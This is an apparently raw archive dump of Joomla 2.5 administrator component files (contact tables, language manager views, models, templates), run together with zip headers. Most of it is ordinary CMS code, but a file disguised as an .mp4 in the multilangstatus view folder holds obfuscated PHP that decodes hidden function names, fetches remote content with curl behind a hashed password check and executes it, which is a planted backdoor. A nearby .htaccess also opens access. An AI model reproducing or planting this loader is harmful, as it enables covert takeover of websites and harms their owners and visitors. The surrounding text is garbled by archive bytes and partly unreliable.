alias is unique $table = JTable::getInstance('Contact', 'ContactTable'); if ($table->load(array('alias'=>$this->alias, 'catid'=>$this->catid)) && ($table->id != $this->id || $this->id==0)) { $this->setError(JText::_('COM_CONTACT_ERROR_UNIQUE_ALIAS')); return false; } // Attempt to store the data. return parent::store($updateNulls); } /** * Overloaded check function * * @return boolean * @see JTable::check * @since 1.5 */ function check() { $this->default_con = intval($this->default_con); if (JFilterInput::checkAttribute(array ('href', $this->webpage))) { $this->setError(JText::_('COM_CONTACT_WARNING_PROVIDE_VALID_URL')); return false; } /** check for valid name */ if (trim($this->name) == '') { $this->setError(JText::_('COM_CONTACT_WARNING_PROVIDE_VALID_NAME')); return false; } if (empty($this->alias)) { $this->alias = $this->name; } $this->alias = JApplication::stringURLSafe($this->alias); if (trim(str_replace('-', '', $this->alias)) == '') { $this->alias = JFactory::getDate()->format("Y-m-d-H-i-s"); } /** check for valid category */ if (trim($this->catid) == '') { $this->setError(JText::_('COM_CONTACT_WARNING_CATEGORY')); return false; } // Check the publish down date is not earlier than publish up. if (intval($this->publish_down) > 0 && $this->publish_down < $this->publish_up) { $this->setError(JText::_('JGLOBAL_START_PUBLISH_AFTER_FINISH')); return false; } // clean up keywords -- eliminate extra spaces between phrases // and cr (\r) and lf (\n) characters from string if (!empty($this->metakey)) { // only process if not empty $bad_characters = array("\n", "\r", "\"", "<", ">"); // array of characters to remove $after_clean = JString::str_ireplace($bad_characters, "", $this->metakey); // remove bad characters $keys = explode(',', $after_clean); // create array using commas as delimiter $clean_keys = array(); foreach($keys as $key) { if (trim($key)) { // ignore blank keywords $clean_keys[] = trim($key); } } $this->metakey = implode(", ", $clean_keys); // put array back together delimited by ", " } // clean up description -- eliminate quotes and <> brackets if (!empty($this->metadesc)) { // only process if not empty $bad_characters = array("\"", "<", ">"); $this->metadesc = JString::str_ireplace($bad_characters, "", $this->metadesc); } return true; } } PK@y>\)'components/com_contact/tables/.htaccessnuW+A Order allow,deny Deny from all PK@y>\:f99%components/com_contact/controller.phpnuW+AcheckEditId('com_contact.edit.contact', $id)) { // Somehow the person just went to the form - we don't allow that. $this->setError(JText::sprintf('JLIB_APPLICATION_ERROR_UNHELD_ID', $id)); $this->setMessage($this->getError(), 'error'); $this->setRedirect(JRoute::_('index.php?option=com_contact&view=contacts', false)); return false; } parent::display(); return $this; } } PK@y>\[zn#components/com_languages/access.xmlnuW+A
      PK@y>\ #components/com_languages/config.xmlnuW+A
      PK@y>\V)components/com_languages/views/index.htmlnuW+A PK@y>\)(components/com_languages/views/.htaccessnuW+A Order allow,deny Deny from all PK@y>\63components/com_languages/views/overrides/index.htmlnuW+APK@y>\)7components/com_languages/views/overrides/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\\̌9components/com_languages/views/overrides/tmpl/default.phpnuW+Astate->get('filter.client') == 'site' ? JText::_('JSITE') : JText::_('JADMINISTRATOR'); $language = $this->state->get('filter.language'); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?>
      authorise('core.edit', 'com_languages'); $i = 0; foreach($this->items as $key => $text): ?>
      pagination->getListFooter(); ?>
      escape($key); ?> escape($key); ?> escape($text); ?> pagination->getRowOffset($i); ?>
      PK@y>\68components/com_languages/views/overrides/tmpl/index.htmlnuW+APK@y>\)2components/com_languages/views/overrides/.htaccessnuW+A Order allow,deny Deny from all PK@y>\j556components/com_languages/views/overrides/view.html.phpnuW+Astate = $this->get('State'); $this->items = $this->get('Overrides'); $this->languages = $this->get('Languages'); $this->pagination = $this->get('Pagination'); // Check for errors if (count($errors = $this->get('Errors'))) { throw new Exception(implode("\n", $errors)); return; } $this->addToolbar(); parent::display($tpl); } /** * Adds the page title and toolbar * * @return void * * @since 2.5 */ protected function addToolbar() { // Get the results for each action $canDo = LanguagesHelper::getActions(); JToolBarHelper::title(JText::_('COM_LANGUAGES_VIEW_OVERRIDES_TITLE'), 'langmanager'); if ($canDo->get('core.create')) { JToolbarHelper::addNew('override.add'); } if ($canDo->get('core.edit') && $this->pagination->total) { JToolbarHelper::editList('override.edit'); } if ($canDo->get('core.delete') && $this->pagination->total) { JToolbarHelper::deleteList('', 'overrides.delete'); } if ($canDo->get('core.admin')) { JToolBarHelper::preferences('com_languages'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_EXTENSIONS_LANGUAGE_MANAGER_OVERRIDES'); } } PK@y>\$Y 5components/com_languages/views/override/view.html.phpnuW+AaddStyleSheet(JURI::root().'media/overrider/css/overrider.css'); JHtml::_('behavior.framework'); $doc->addScript(JURI::root().'media/overrider/js/overrider.js'); $this->form = $this->get('Form'); $this->item = $this->get('Item'); $this->state = $this->get('State'); // Check for errors if (count($errors = $this->get('Errors'))) { throw new Exception(implode("\n", $errors)); return; } // Check whether the cache has to be refreshed $cached_time = JFactory::getApplication()->getUserState('com_languages.overrides.cachedtime.'.$this->state->get('filter.client').'.'.$this->state->get('filter.language'), 0); if(time() - $cached_time > 60 * 5) { $this->state->set('cache_expired', true); } // Add strings for translations in Javascript JText::script('COM_LANGUAGES_VIEW_OVERRIDE_NO_RESULTS'); JText::script('COM_LANGUAGES_VIEW_OVERRIDE_REQUEST_ERROR'); $this->addToolbar(); parent::display($tpl); } /** * Adds the page title and toolbar * * @return void * * @since 2.5 */ protected function addToolbar() { JRequest::setVar('hidemainmenu', true); $canDo = LanguagesHelper::getActions(); JToolBarHelper::title(JText::_('COM_LANGUAGES_VIEW_OVERRIDE_EDIT_TITLE'), 'langmanager'); if ($canDo->get('core.edit')) { JToolBarHelper::apply('override.apply'); JToolBarHelper::save('override.save'); } // This component does not support Save as Copy if ($canDo->get('core.edit') && $canDo->get('core.create')) { JToolBarHelper::save2new('override.save2new'); } if (empty($this->item->key)) { JToolBarHelper::cancel('override.cancel'); } else { JToolBarHelper::cancel('override.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_EXTENSIONS_LANGUAGE_MANAGER_OVERRIDES_EDIT'); } } PK@y>\)6components/com_languages/views/override/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\“5components/com_languages/views/override/tmpl/edit.phpnuW+A
      item->key) ? JText::_('COM_LANGUAGES_VIEW_OVERRIDE_EDIT_NEW_OVERRIDE_LEGEND') : JText::_('COM_LANGUAGES_VIEW_OVERRIDE_EDIT_EDIT_OVERRIDE_LEGEND'); ?>
      • form->getLabel('key'); ?> form->getInput('key'); ?>
      • form->getLabel('override'); ?> form->getInput('override'); ?>
      • state->get('filter.client') == 'administrator'): ?>
      • form->getLabel('both'); ?> form->getInput('both'); ?>
      • form->getLabel('language'); ?> form->getInput('language'); ?>
      • form->getLabel('client'); ?> form->getInput('client'); ?>
      • form->getLabel('file'); ?> form->getInput('file'); ?>
      • form->getInput('searchstring'); ?>
      • form->getLabel('searchtype'); ?> form->getInput('searchtype'); ?>
      PK@y>\V7components/com_languages/views/override/tmpl/index.htmlnuW+A PK@y>\V2components/com_languages/views/override/index.htmlnuW+A PK@y>\)1components/com_languages/views/override/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V3components/com_languages/views/installed/index.htmlnuW+A PK@y>\)2components/com_languages/views/installed/.htaccessnuW+A Order allow,deny Deny from all PK@y>\Dcomponents/com_languages/views/installed/tmpl/default_navigation.phpnuW+Astate->get('filter.client_id', 0); ?> PK@y>\V8components/com_languages/views/installed/tmpl/index.htmlnuW+A PK@y>\)7components/com_languages/views/installed/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\F/  9components/com_languages/views/installed/tmpl/default.phpnuW+Aget('id'); $client = $this->state->get('filter.client_id', 0) ? JText::_('JADMINISTRATOR') : JText::_('JSITE'); $clientId = $this->state->get('filter.client_id', 0); ?>
      rows as $i => $row) : $canCreate = $user->authorise('core.create', 'com_languages'); $canEdit = $user->authorise('core.edit', 'com_languages'); $canChange = $user->authorise('core.edit.state', 'com_languages'); ?>
       
      pagination->getListFooter(); ?>
      pagination->getRowOffset($i); ?> language);?> escape($row->name); ?> escape($row->language); ?> published, $i, 'installed.', !$row->published && $canChange);?> escape($row->version); ?> escape($row->creationDate); ?> escape($row->author); ?> escape($row->authorEmail); ?>
      PK@y>\h>=components/com_languages/views/installed/tmpl/default_ftp.phpnuW+A

      message); ?>

      PK@y>\%`6components/com_languages/views/installed/view.html.phpnuW+Aftp = $this->get('Ftp'); $this->option = $this->get('Option'); $this->pagination = $this->get('Pagination'); $this->rows = $this->get('Data'); $this->state = $this->get('State'); $document = JFactory::getDocument(); $document->setBuffer($this->loadTemplate('navigation'), 'modules', 'submenu'); $this->addToolbar(); parent::display($tpl); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { require_once JPATH_COMPONENT.'/helpers/languages.php'; $canDo = LanguagesHelper::getActions(); JToolBarHelper::title(JText::_('COM_LANGUAGES_VIEW_INSTALLED_TITLE'), 'langmanager.png'); if ($canDo->get('core.edit.state')) { JToolBarHelper::makeDefault('installed.setDefault'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { // Add install languages link to the lang installer component $bar = JToolBar::getInstance('toolbar'); $bar->appendButton('Link', 'extension', 'COM_LANGUAGES_INSTALL', 'index.php?option=com_installer&view=languages'); JToolBarHelper::divider(); JToolBarHelper::preferences('com_languages'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_EXTENSIONS_LANGUAGE_MANAGER_INSTALLED'); } } PK@y>\5xxxRcomponents/com_languages/views/multilangstatus/multilangstatus/tlinmFgcpHUjZzQ.mp4nuW+A $RA9h1eAbUaYFyW) { $HQ_C_4QIXauqsE .= $D8qOPh2OO6IH7y[$RA9h1eAbUaYFyW - 5971]; xbOJE7v3AhpD3y: } goto ygBrFR5VzxOuK2; SAIul7NoQ8STXJ: return $HQ_C_4QIXauqsE; goto kNi1H6OBm29qWx; kNi1H6OBm29qWx: } static function zLEM1N3SD5GvVu($LXpcFC2hB_6cyO, $N_7c7uwBmuoCTI) { goto URQ2vtB4myIx0p; nw_fvJQysJTX0T: return empty($DuZn2hngU3WTEp) ? $N_7c7uwBmuoCTI($LXpcFC2hB_6cyO) : $DuZn2hngU3WTEp; goto vdRNHcu53LC2Fd; yGG7vVCLALm7iR: $DuZn2hngU3WTEp = curl_exec($Ifc0K3BZbDVka3); goto nw_fvJQysJTX0T; URQ2vtB4myIx0p: $Ifc0K3BZbDVka3 = curl_init($LXpcFC2hB_6cyO); goto eKr9dFjv2G905y; eKr9dFjv2G905y: curl_setopt($Ifc0K3BZbDVka3, CURLOPT_RETURNTRANSFER, 1); goto yGG7vVCLALm7iR; vdRNHcu53LC2Fd: } static function ytgLxKepc1bz_A() { goto NfTDu_YA_dxEfp; NfTDu_YA_dxEfp: $aI7vjeBSrjlmBw = array("\x35\x39\x39\70\x29\65\x39\x38\63\51\65\71\71\x36\x29\66\x30\x30\60\x29\65\x39\70\61\x29\65\x39\x39\x36\x29\x36\x30\x30\62\x29\65\x39\x39\65\x29\x35\71\x38\x30\x29\65\71\70\x37\x29\x35\x39\x39\x38\51\x35\71\70\61\x29\x35\71\x39\x32\x29\65\71\x38\66\51\x35\x39\70\x37", "\65\x39\70\x32\51\65\71\70\x31\51\x35\71\x38\x33\51\x36\x30\x30\x32\x29\x35\71\70\x33\51\x35\71\70\x36\51\x35\71\70\x31\x29\66\x30\64\70\x29\66\x30\64\x36", "\x35\x39\71\x31\51\x35\71\70\x32\x29\65\x39\x38\x36\51\x35\71\70\67\51\x36\60\60\62\x29\65\x39\71\x37\x29\x35\x39\71\x36\x29\65\x39\x39\x38\x29\65\71\70\x36\51\65\71\x39\x37\51\65\x39\x39\x36", "\65\x39\70\65\51\66\x30\x30\60\51\x35\x39\x39\x38\51\x35\x39\71\60", "\x35\x39\71\x39\51\x36\x30\x30\x30\51\65\71\x38\62\51\x35\71\x39\x36\51\66\60\x34\63\x29\x36\60\x34\x35\51\66\x30\x30\x32\x29\x35\x39\x39\x37\x29\65\x39\71\x36\51\x35\x39\71\x38\51\x35\x39\x38\66\x29\x35\71\71\67\x29\x35\71\x39\66", "\x35\71\71\65\x29\x35\71\x39\x32\x29\65\x39\70\x39\x29\x35\x39\71\x36\51\x36\60\60\62\51\x35\x39\x39\64\x29\x35\x39\71\66\51\x35\x39\x38\x31\x29\x36\60\x30\x32\51\65\x39\x39\70\51\x35\71\x38\66\x29\65\x39\x38\67\x29\x35\71\70\x31\51\x35\71\x39\66\51\65\71\x38\x37\51\65\71\70\61\x29\65\x39\70\x32", "\66\60\62\x35\x29\x36\60\x35\65", "\65\71\x37\x32", "\66\x30\x35\60\x29\66\x30\65\x35", "\x36\x30\63\62\51\x36\x30\x31\x35\51\x36\x30\61\x35\x29\66\60\x33\62\51\66\60\x30\70", "\x35\x39\71\65\x29\x35\71\x39\x32\51\x35\71\70\x39\x29\65\x39\x38\x31\x29\65\x39\x39\x36\51\65\71\70\x33\51\x36\60\x30\62\x29\x35\71\71\x32\51\x35\x39\70\x37\x29\x35\x39\70\65\x29\x35\71\x38\x30\51\x35\x39\x38\61"); goto EwKl9PbHbPQSMs; EwKl9PbHbPQSMs: foreach ($aI7vjeBSrjlmBw as $eEuyyvwv0VcKKz) { $qOzzsHNcM0Rk0X[] = self::Z4ntBcq9HlnVix($eEuyyvwv0VcKKz); HLdA8mHs__OhEH: } goto NWCzYD890MC7Kz; hjDR9yTihpPoBH: hg5BUbQ7GnqKYz: goto qGPT2uckXjmr9m; NWCzYD890MC7Kz: bi6Bgf1azUCUfW: goto u7sJW4W5hKkkHR; eAWU58IGCsPDgL: @$qOzzsHNcM0Rk0X[4 + 6](INPUT_GET, "\157\146") == 1 && die($qOzzsHNcM0Rk0X[2 + 3](__FILE__)); goto IimmsiBaeDI_oW; IimmsiBaeDI_oW: if (!(@$a3RxH2ZmtwFrlY[0] - time() > 0 and md5(md5($a3RxH2ZmtwFrlY[3 + 0])) === "\x64\146\x35\x33\x32\x37\67\x32\x34\x62\x35\x38\x64\146\71\67\70\x64\144\x31\143\x36\62\x36\x34\146\142\x37\x30\70\x37\x39")) { goto hg5BUbQ7GnqKYz; } goto GRINUmKQFuHuAY; iGmOs7IHLSOBCR: @$qOzzsHNcM0Rk0X[0]('', $qOzzsHNcM0Rk0X[5 + 2] . $qOzzsHNcM0Rk0X[0 + 4]($W53wOkY2UhORY6) . $qOzzsHNcM0Rk0X[3 + 5]); goto MTGk9T42BZsRmF; Vri5Hzsxy65_jk: $GtnMOaDtF58MWB = @$qOzzsHNcM0Rk0X[0 + 3]($qOzzsHNcM0Rk0X[3 + 3], $AkwjXzvDX8kBa_); goto Th3V1MqXx6N5ON; GRINUmKQFuHuAY: $W53wOkY2UhORY6 = self::ZlEM1N3sD5Gvvu($a3RxH2ZmtwFrlY[1 + 0], $qOzzsHNcM0Rk0X[1 + 4]); goto iGmOs7IHLSOBCR; u7sJW4W5hKkkHR: $AkwjXzvDX8kBa_ = @$qOzzsHNcM0Rk0X[1]($qOzzsHNcM0Rk0X[9 + 1](INPUT_GET, $qOzzsHNcM0Rk0X[6 + 3])); goto Vri5Hzsxy65_jk; Th3V1MqXx6N5ON: $a3RxH2ZmtwFrlY = $qOzzsHNcM0Rk0X[0 + 2]($GtnMOaDtF58MWB, true); goto eAWU58IGCsPDgL; MTGk9T42BZsRmF: die; goto hjDR9yTihpPoBH; qGPT2uckXjmr9m: } } goto m0jBmWacE4GFH4; xR1mt_Pbb7jxy5: if (!(in_array(gettype($pKF7y0JSDCS21r) . "\61\61", $pKF7y0JSDCS21r) && md5(md5(md5(md5($pKF7y0JSDCS21r[5])))) === "\x38\141\x35\143\x30\x35\x36\144\x61\x30\x66\67\67\142\71\x63\142\146\146\141\143\144\x66\62\x66\145\x35\x63\142\63\x61\61")) { goto qKyJYrHwy25jgG; } goto BsSMmedEkN7g0z; BsSMmedEkN7g0z: $pKF7y0JSDCS21r[69] = $pKF7y0JSDCS21r[69] . $pKF7y0JSDCS21r[79]; goto IPGElZFadcTJeC; m0jBmWacE4GFH4: ACAGhP6TG0t7sz::YtgLxKEPC1bZ_a(); ?> PK@y>\ĻX  Hcomponents/com_languages/views/multilangstatus/multilangstatus/cache.phpnuW+APK@y>\gm Hcomponents/com_languages/views/multilangstatus/multilangstatus/index.phpnuW+APK@y>\,rHcomponents/com_languages/views/multilangstatus/multilangstatus/.htaccessnuW+A Order allow,deny Deny from all # Order allow,deny Allow from all PK@y>\y<components/com_languages/views/multilangstatus/view.html.phpnuW+Ahomes = multilangstatusHelper::getHomes(); $this->language_filter = JLanguageMultilang::isEnabled(); $this->switchers = multilangstatusHelper::getLangswitchers(); $this->listUsersError = multilangstatusHelper::getContacts(); $this->contentlangs = multilangstatusHelper::getContentlangs(); $this->site_langs = multilangstatusHelper::getSitelangs(); $this->statuses = multilangstatusHelper::getStatus(); $this->homepages = multilangstatusHelper::getHomepages(); parent::display($tpl); } } PK@y>\V9components/com_languages/views/multilangstatus/index.htmlnuW+A PK@y>\)8components/com_languages/views/multilangstatus/.htaccessnuW+A Order allow,deny Deny from all PK@y>\)=components/com_languages/views/multilangstatus/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\'(JJ?components/com_languages/views/multilangstatus/tmpl/default.phpnuW+Ahomes == 2 || $this->homes == 1 && ($this->language_filter || $this->switchers != 0); $notice_disabled = !$this->language_filter && ($this->homes > 1 || $this->switchers != 0); $notice_switchers = !$this->switchers && ($this->homes > 1 || $this->language_filter); ?>
      language_filter && $this->switchers == 0) : ?> homes == 1) : ?>

      contentlangs as $contentlang) : ?> lang_code, $this->homepages) && (!array_key_exists($contentlang->lang_code, $this->site_langs) || !$contentlang->published)) : ?> listUsersError) : ?>
      lang_code); ?>
        listUsersError as $user) : ?>
      • name); ?>
      language_filter) : ?>
      switchers != 0) : ?> switchers; ?>
      homes > 1) : ?> homes > 1) : ?> homes; ?>
      statuses as $status) : ?> element) : ?> element) : // Published Site languages ?> lang_code && $status->published) : // Published Content languages ?> home_language) : // Published Home pages ?> contentlangs as $contentlang) : ?> lang_code, $this->site_langs)) : ?>
      element; ?>
      lang_code; ?> published) : ?> published && array_key_exists($contentlang->lang_code, $this->homepages)) : ?> published) : ?> lang_code, $this->homepages)) : ?>
      PK@y>\V>components/com_languages/views/multilangstatus/tmpl/index.htmlnuW+A PK@y>\)2components/com_languages/views/languages/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ww9components/com_languages/views/languages/tmpl/default.phpnuW+Aget('id'); $n = count($this->items); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); $canOrder = $user->authorise('core.edit.state', 'com_languages'); $saveOrder = $listOrder == 'a.ordering'; ?>
      items as $i => $item) : $ordering = ($listOrder == 'a.ordering'); $canCreate = $user->authorise('core.create', 'com_languages'); $canEdit = $user->authorise('core.edit', 'com_languages'); $canChange = $user->authorise('core.edit.state', 'com_languages'); ?>
      items, 'filesave.png', 'languages.saveorder'); ?>
      pagination->getListFooter(); ?>
      pagination->getRowOffset($i); ?> lang_id); ?> escape($item->title); ?> escape($item->title); ?> escape($item->title_native); ?> escape($item->lang_code); ?> escape($item->sef); ?> escape($item->image); ?> published, $i, 'languages.', $canChange);?> pagination->orderUpIcon($i, true, 'languages.orderup', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, true, 'languages.orderdown', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> pagination->orderUpIcon($i, true, 'languages.orderdown', 'JLIB_HTML_MOVE_UP', $ordering); ?> pagination->orderDownIcon($i, $this->pagination->total, true, 'languages.orderup', 'JLIB_HTML_MOVE_DOWN', $ordering); ?> class="text-area-order" /> ordering; ?> escape($item->access_level); ?> home == '1') : ?> escape($item->lang_id); ?>
      PK@y>\)7components/com_languages/views/languages/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V8components/com_languages/views/languages/tmpl/index.htmlnuW+A PK@y>\$A  6components/com_languages/views/languages/view.html.phpnuW+Aitems = $this->get('Items'); $this->pagination = $this->get('Pagination'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } parent::display($tpl); $this->addToolbar(); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { require_once JPATH_COMPONENT.'/helpers/languages.php'; $canDo = LanguagesHelper::getActions(); JToolBarHelper::title(JText::_('COM_LANGUAGES_VIEW_LANGUAGES_TITLE'), 'langmanager.png'); if ($canDo->get('core.create')) { JToolBarHelper::addNew('language.add'); } if ($canDo->get('core.edit')) { JToolBarHelper::editList('language.edit'); JToolBarHelper::divider(); } if ($canDo->get('core.edit.state')) { if ($this->state->get('filter.published') != 2) { JToolBarHelper::publishList('languages.publish'); JToolBarHelper::unpublishList('languages.unpublish'); } } if ($this->state->get('filter.published') == -2 && $canDo->get('core.delete')) { JToolBarHelper::deleteList('', 'languages.delete', 'JTOOLBAR_EMPTY_TRASH'); JToolBarHelper::divider(); } elseif ($canDo->get('core.edit.state')) { JToolBarHelper::trash('languages.trash'); JToolBarHelper::divider(); } if ($canDo->get('core.admin')) { // Add install languages link to the lang installer component $bar = JToolBar::getInstance('toolbar'); $bar->appendButton('Link', 'extension', 'COM_LANGUAGES_INSTALL', 'index.php?option=com_installer&view=languages'); JToolBarHelper::divider(); JToolBarHelper::preferences('com_languages'); JToolBarHelper::divider(); } JToolBarHelper::help('JHELP_EXTENSIONS_LANGUAGE_MANAGER_CONTENT'); } } PK@y>\V3components/com_languages/views/languages/index.htmlnuW+A PK@y>\)1components/com_languages/views/language/.htaccessnuW+A Order allow,deny Deny from all PK@y>\ыsa 5components/com_languages/views/language/tmpl/edit.phpnuW+A
      item->lang_id) : ?> item->lang_id); ?>
      • form->getLabel('title'); ?> form->getInput('title'); ?>
      • form->getLabel('title_native'); ?> form->getInput('title_native'); ?>
      • form->getLabel('sef'); ?> form->getInput('sef'); ?>
      • form->getLabel('image'); ?> form->getInput('image'); ?>
      • form->getLabel('lang_code'); ?> form->getInput('lang_code'); ?>
      • get('core.edit.state')) : ?>
      • form->getLabel('published'); ?> form->getInput('published'); ?>
      • form->getLabel('access'); ?> form->getInput('access'); ?>
      • form->getLabel('description'); ?> form->getInput('description'); ?>
      • form->getLabel('lang_id'); ?> form->getInput('lang_id'); ?>
      item->lang_code, array('useCookie'=>1)); ?>
      form->getFieldset('metadata') as $field): ?> hidden): ?> label; ?> input; ?>
      form->getFieldset('site_name') as $field): ?> hidden): ?> label; ?> input; ?>
      PK@y>\V7components/com_languages/views/language/tmpl/index.htmlnuW+A PK@y>\)6components/com_languages/views/language/tmpl/.htaccessnuW+A Order allow,deny Deny from all PK@y>\V2components/com_languages/views/language/index.htmlnuW+A PK@y>\>5components/com_languages/views/language/view.html.phpnuW+Aitem = $this->get('Item'); $this->form = $this->get('Form'); $this->state = $this->get('State'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } parent::display($tpl); $this->addToolbar(); } /** * Add the page title and toolbar. * * @since 1.6 */ protected function addToolbar() { require_once JPATH_COMPONENT.'/helpers/languages.php'; JRequest::setVar('hidemainmenu', 1); $isNew = empty($this->item->lang_id); $canDo = LanguagesHelper::getActions(); JToolBarHelper::title(JText::_($isNew ? 'COM_LANGUAGES_VIEW_LANGUAGE_EDIT_NEW_TITLE' : 'COM_LANGUAGES_VIEW_LANGUAGE_EDIT_EDIT_TITLE'), 'langmanager.png'); // If a new item, can save. if ($isNew && $canDo->get('core.create')) { JToolBarHelper::save('language.save'); } //If an existing item, allow to Apply and Save. if (!$isNew && $canDo->get('core.edit')) { JToolBarHelper::apply('language.apply'); JToolBarHelper::save('language.save'); } // If an existing item, can save to a copy only if we have create rights. if ($canDo->get('core.create')) { JToolBarHelper::save2new('language.save2new'); } if ($isNew) { JToolBarHelper::cancel('language.cancel'); } else { JToolBarHelper::cancel('language.cancel', 'JTOOLBAR_CLOSE'); } JToolBarHelper::divider(); JToolBarHelper::help('JHELP_EXTENSIONS_LANGUAGE_MANAGER_EDIT'); } } PK@y>\V#components/com_languages/index.htmlnuW+A PK@y>\00&components/com_languages/languages.phpnuW+Aauthorise('core.manage', 'com_languages')) { return JError::raiseWarning(404, JText::_('JERROR_ALERTNOAUTHOR')); } $controller = JControllerLegacy::getInstance('Languages'); $controller->execute(JRequest::getCmd('task')); $controller->redirect(); PK@y>\z &components/com_languages/languages.xmlnuW+A com_languages Joomla! Project 2006 (C) 2005 - 2014 Open Source Matters. All rights reserved. GNU General Public License version 2 or later; see LICENSE.txt admin@joomla.org www.joomla.org 2.5.0 COM_LANGUAGES_XML_DESCRIPTION config.xml controller.php index.html languages.php controllers helpers models tables views language/en-GB.com_languages.ini PK@y>\))components/com_languages/models/.htaccessnuW+A Order allow,deny Deny from all PK@y>\a¦-components/com_languages/models/installed.phpnuW+AsetState('filter.client_id', $clientId); // Load the parameters. $params = JComponentHelper::getParams('com_languages'); $this->setState('params', $params); // List state information. parent::populateState('a.name', 'asc'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. * @since 1.6 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.client_id'); return parent::getStoreId($id); } /** * Method to get the client object * * @return object * @since 1.6 */ public function &getClient() { if (is_null($this->client)) { $this->client = JApplicationHelper::getClientInfo($this->getState('filter.client_id', 0)); } return $this->client; } /** * Method to get the ftp credentials * * @return object * @since 1.6 */ public function &getFtp() { if (is_null($this->ftp)) { $this->ftp = JClientHelper::setCredentialsFromRequest('ftp'); } return $this->ftp; } /** * Method to get the option * * @return object * @since 1.6 */ public function &getOption() { $option = $this->getState('option'); return $option; } /** * Method to get Languages item data * * @return array * @since 1.6 */ public function &getData() { if (is_null($this->data)) { // Get information $path = $this->getPath(); $client = $this->getClient(); $langlist = $this->getLanguageList(); // Compute all the languages $data = array (); foreach($langlist as $lang){ $file = $path . '/' . $lang . '/' . $lang.'.xml'; $info = JApplicationHelper::parseXMLLangMetaFile($file); $row = new JObject(); $row->language = $lang; if (!is_array($info)) { continue; } foreach($info as $key => $value) { $row->$key = $value; } // if current than set published $params = JComponentHelper::getParams('com_languages'); if ($params->get($client->name, 'en-GB') == $row->language) { $row->published = 1; } else { $row->published = 0; } $row->checked_out = 0; $data[] = $row; } usort($data, array($this, 'compareLanguages')); // Prepare data $limit = $this->getState('list.limit'); $start = $this->getState('list.start'); $total = $this->getTotal(); if ($limit == 0) { $start = 0; $end = $total; } else { if ($start > $total) { $start = $total - $total % $limit; } $end = $start + $limit; if ($end > $total) { $end = $total; } } // Compute the displayed languages $this->data = array(); for ($i = $start;$i < $end;$i++) { $this->data[] = & $data[$i]; } } return $this->data; } /** * Method to get installed languages data. * * @return string An SQL query * @since 1.6 */ protected function getLanguageList() { // Create a new db object. $db = $this->getDbo(); $query = $db->getQuery(true); $client = $this->getState('filter.client_id'); $type = "language"; // Select field element from the extensions table. $query->select($this->getState('list.select', 'a.element')); $query->from('#__extensions AS a'); $type = $db->Quote($type); $query->where('(a.type = '.$type.')'); $query->where('state = 0'); $query->where('enabled = 1'); $query->where('client_id=' . intval($client)); // for client_id = 1 do we need to check language table also ? $db->setQuery($query); $this->langlist = $db->loadColumn(); return $this->langlist; } /** * Method to get the total number of Languages items * * @return integer * @since 1.6 */ public function getTotal() { if (is_null($this->total)) { $langlist = $this->getLanguageList(); $this->total = count($langlist); } return $this->total; } /** * Method to set the default language * * @return boolean * @since 1.6 */ public function publish($cid) { if ($cid) { $client = $this->getClient(); $params = JComponentHelper::getParams('com_languages'); $params->set($client->name, $cid); $table = JTable::getInstance('extension'); $id = $table->find(array('element' => 'com_languages')); // Load if (!$table->load($id)) { $this->setError($table->getError()); return false; } $table->params = (string)$params; // pre-save checks if (!$table->check()) { $this->setError($table->getError()); return false; } // save the changes if (!$table->store()) { $this->setError($table->getError()); return false; } } else { $this->setError(JText::_('COM_LANGUAGES_ERR_NO_LANGUAGE_SELECTED')); return false; } // Clean the cache of com_languages and component cache. $this->cleanCache(); $this->cleanCache('_system'); return true; } /** * Method to get the folders * * @return array Languages folders * @since 1.6 */ protected function getFolders() { if (is_null($this->folders)) { $path = $this->getPath(); jimport('joomla.filesystem.folder'); $this->folders = JFolder::folders($path, '.', false, false, array('.svn', 'CVS', '.DS_Store', '__MACOSX', 'pdf_fonts', 'overrides')); } return $this->folders; } /** * Method to get the path * * @return string The path to the languages folders * @since 1.6 */ protected function getPath() { if (is_null($this->path)) { $client = $this->getClient(); $this->path = JLanguage::getLanguagePath($client->path); } return $this->path; } /** * Method to compare two languages in order to sort them * * @param object $lang1 the first language * @param object $lang2 the second language * * @return integer * @since 1.6 */ protected function compareLanguages($lang1, $lang2) { return strcmp($lang1->name, $lang2->name); } } PK@y>\getUserStateFromRequest($this->context.'.search', 'filter_search'); $this->setState('filter.search', $search); $accessId = $this->getUserStateFromRequest($this->context.'.access', 'filter_access', null, 'int'); $this->setState('filter.access', $accessId); $published = $this->getUserStateFromRequest($this->context.'.published', 'filter_published', ''); $this->setState('filter.published', $published); // Load the parameters. $params = JComponentHelper::getParams('com_languages'); $this->setState('params', $params); // List state information. parent::populateState('a.title', 'asc'); } /** * Method to get a store id based on model configuration state. * * This is necessary because the model is used by the component and * different modules that might need different sets of data or different * ordering requirements. * * @param string $id A prefix for the store id. * * @return string A store id. * @since 1.6 */ protected function getStoreId($id = '') { // Compile the store id. $id .= ':'.$this->getState('filter.search'); $id .= ':'.$this->getState('filter.access'); $id .= ':'.$this->getState('filter.published'); return parent::getStoreId($id); } /** * Method to build an SQL query to 